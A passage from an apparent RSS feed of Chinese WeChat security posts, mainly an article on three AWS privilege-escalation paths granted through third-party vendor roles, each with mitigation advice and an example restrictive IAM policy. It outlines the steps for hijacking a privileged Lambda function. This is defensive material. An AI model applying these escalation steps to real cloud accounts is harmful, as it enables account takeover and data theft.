src="https://wechat2rss.xlab.app/img-proxy/?k=eadd1250&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvc6JiaRp8HGeKlAo61dnr4aoxbCtjsD9wAnLwB1hKJF0aOjdibN1TmiacpQ%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">然而，在政策修复 5 个月后，我们对 亚马逊云 环境进行的一项调查显示，超过 90% 的无服务存储的存储桶仍然存在配置不当的漏洞。我们的调查还发现，超过 25% 的环境仍在使用配置错误的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CloudTrail</p>策略。</div><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请点一下右下角的“在看”，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙点赞， 谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙转发，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>暗号: 729582</span></h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=59b1684d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcNYLQ63Gca2G4epiandLxD4w9zibO92lITSibGSnH9Z2MYAqCy5eG2Rdmw%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5503d38b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcLeclD4BuLDUUKqleHNGNuQegZcqXAh8xytMW7shp8WCyic8Haum2yEA%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d8d4bb8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcBOiaQiagGIPRqzwbAmqMKgD0mo1wibMxA8z8cTOKgEdX4ohRXTicEC4N4Q%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0f806d5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcDzgibHrXfh5tCV047L0WQrFmZqwyleZzc1RxPJgRbM1tvNAbvib27E2A%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=eadd1250&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvc6JiaRp8HGeKlAo61dnr4aoxbCtjsD9wAnLwB1hKJF0aOjdibN1TmiacpQ%2F640%3Fwx_fmt%3Dother"/></p>



<p><a href="2247489518">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e1298f95&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489518%26idx%3D1%26sn%3D87ea73cd6e5750561ff7aab40cd8b671">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 30 May 2023 08:00:00 +0800</pubDate>
    </item>
    <item>
      <title>云安全案例15: 亚马逊云供应链攻击的三大提权路径</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489493&amp;idx=1&amp;sn=3459c23b8c68444c9455eff8f3c31e50</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-05-29 08:08</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e507f281&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcjVtnCFlfQsQGEG4XLvgDqaicOSF8uuxm59IRsppp1wtuiaPrric8jN6Rw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Wiz</p>研究团队对在亚马逊云环境中提供给第三方供应商的权限进行了广泛的研究， 结果应该是一个警钟：</div><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">82% 的公司给第三方供应商提供高度特权的角色</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">76% 的公司存在允许完全接管帐户的第三方角色</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">超过 90% 的云安全团队并不知道他们向第三方供应商授予了高权限。</p></div></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">最常见的例子是亚马逊云<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ReadOnlyAccess</p>策略，它在第三方供应商中非常流行，有25%供应商拥有这个权限。供应商和客户认为这是一项无害的策略，但它提供了对许多数据库、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">DynamoDB</p>、S3 存储桶、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SQS</p> 队列等的广泛读取访问权限。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">亚马逊云拥有大约 250 种不同的服务和约 9000 种不同的权限, 以至于大多数客户不了解他们向供应商提供了哪些权限。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在这里，分析一下由于权限复杂度导致的三大提权路径：</p><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>提权路径1： <p>iam:PutRolePolicy</p></span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">iam:PutRolePolicy</p>是现有最强大的 亚马逊云 权限之一，因为它允许用户将任何策略添加到任何角色，只需两个简单的步骤即可有效地使权限所有者成为超级用户。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6518518518518519" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=77095f3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcbFibN9VNhNBFLVvFyzBplvN2xk2UQbnDbjJtp5jdauwtuReGS73iahbQ%2F640%3Fwx_fmt%3Dother"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">不用说， 在没有适当条件和限制的情况下，绝不应将此权限授予第三方供应商 。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">令人惊讶的是，供应商中有超过 10% 使用此策略，影响了很多的环境并导致关键账户接管风险。</p><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在最流行的供应商中, 其中一个需要<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">iam:PutRolePolicy</p>权限是 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Spot</p>。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>为什么供应商请求 <p>iam:PutRolePolicy</p>？</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Spot</p> 是一个编排平台，可能需要广泛的权限才能在环境中生成不同的资源。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>怎样才能降低风险？</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">使用编排平台时，应该始终有一个子集，它包括着平台允许使用的策略和角色。这些策略和角色应该被标记，并且<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">iam:PutRolePolicy</p>应该存在适当的使用条件，从而减少对这些角色的访问。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>提权路径2：<p>lambda:AddPermission</p></span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda:AddPermission</p>权限用于将资源策略添加到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Lambda</p>函数，确定哪些服务可以访问该函数、触发其代码，甚至更新它。此权限非常强大：如果落入黑客手里，它可以让黑客接管帐户中任何现有的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda</p>并使用其特权成为超级大<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">BOSS</p>。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6046296296296296" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0cc38e24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcQgcODU5OjbhRicvLSOHN0m1otlf4oZjbB86jeVibbx6ur2F83lcSINxw%2F640%3Fwx_fmt%3Dother"/></figure><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在帐户中找到一个高权限的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda</p>函数</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda:AddPermission</p>对原始<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p>角色添加<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda:UpdateFunctionCode</p>和<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda:InvokeFunction</p></div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">将攻击代码注入原始<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda</p></div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">黑客现在可以提升权限并利用提供使用该<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda</p>的角色</div></div></li></ul><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>为啥供应商需要这个权限</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在大多数情况下，特定的低风险场景需要这个权限。例如。供应商有一个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda</p>函数，并希望动态地向该函数添加触发器（例如，连接一个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">S3</p>存储桶事件通知以发送到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda</p>），但在不添加任何限制的情况下，会导致主要升级风险。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>如何缓解风险</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在向供应商提供高风险权限时，始终尽可能限制范围。为此，请将策略中的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda</p> 函数名称限制为供应商使用的名称（例如 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">example-vendor-*</p>），并将<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Principal</p>限制为计划的触发器类型（例如存储桶事件通知场景中的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">S3</p>）。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">{    <span style="color: #9CDCFE;line-height: 26px;">&#34;Sid&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;LimitAddPermission&#34;</span>,    <span style="color: #9CDCFE;line-height: 26px;">&#34;Effect&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;Allow&#34;</span>,    <span style="color: #9CDCFE;line-height: 26px;">&#34;Action&#34;</span>: [        <span style="color: #D69D85;line-height: 26px;">&#34;lambda:AddPermission&#34;</span>    ],    <span style="color: #9CDCFE;line-height: 26px;">&#34;Resource&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;arn:aws:lambda:*:*:function:example-vendor-*&#34;</span>,    <span style="color: #9CDCFE;line-height: 26px;">&#34;Condition&#34;</span>: {        <span style="color: #9CDCFE;line-height: 26px;">&#34;StringEquals&#34;</span>: {            <span style="color: #9CDCFE;line-height: 26px;">&#34;lambda:Principal&#34;</span>: <span style="color: #D69D85;line-height: 26px;">&#34;s3.amazonaws.com&#34;</span>        }    }}</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">限制权限范围：亚马逊云身份引擎具有一组丰富的条件，可用于降低风险。在加入第三方供应商时，第一步应该是缩小资源范围，将资源限制由访问所有内容到访问特定资源。第二步是使用更高级的条件进一步限制，比如使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">lambda:Principal</p>来限制对S3服务的权限。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>提权路径3：<p>ReadOnlyAccess</p> 托管策略</span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">最臭名昭著的是亚马逊云<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ReadOnlyAccess</p>策略。这项策略之所以具有如此重大的风险，是因为它看起来无害。 “没有什么可担心的，我们只需要只读访问权限”，给客户团队一种虚假的安全感。由于这是一项托管的亚马逊云策略，安全团队认为它是安全的，但他们往往没有意识到，亚马逊云<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ReadOnlyAccess</p>是一项高度危险的策略，会使客户面临重大数据泄露威胁。如果访问权落入坏人之手，此策略可能会导致极端数据泄露，包括 PII、机密和存储在云中的任何其他数据。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">25% 的供应商请求了<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ReadOnlyAccess</p>，因此可以获得对客户数据的广泛访问权限。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">以要求<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ReadOnlyAccess</p>的领先供应商之一<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">NewRelic</p>为例：</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>为什么供应商需要<p>ReadOnlyAccess</p></span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">为了方便部署，推荐的策略是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ReadOnlyAccess</p>：</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.14907407407407408" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=6ec2fc69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcg1sgkczQUm1q6ibStc36r24zODefebtoElclKJgTBiciboNe3VZGXDP2g%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">然而，当更仔细地检查每个集成所需的权限时，似乎<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">NewRelic</p>只需要来自不同服务的元数据，这就引出了为什么将<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ReadOnlyAccess</p>用作默认策略的问题。一个示例是请求的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">DyanmoDB</p>权限：</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.33293978748524206" data-type="other" data-w="847" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=54573e4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcd7wXImIPwa7gKERkjlrN1pTru1uH2RwAzZv3IUtPMbfY3m5bRlemCw%2F640%3Fwx_fmt%3Dother"/></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>如何缓解风险</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 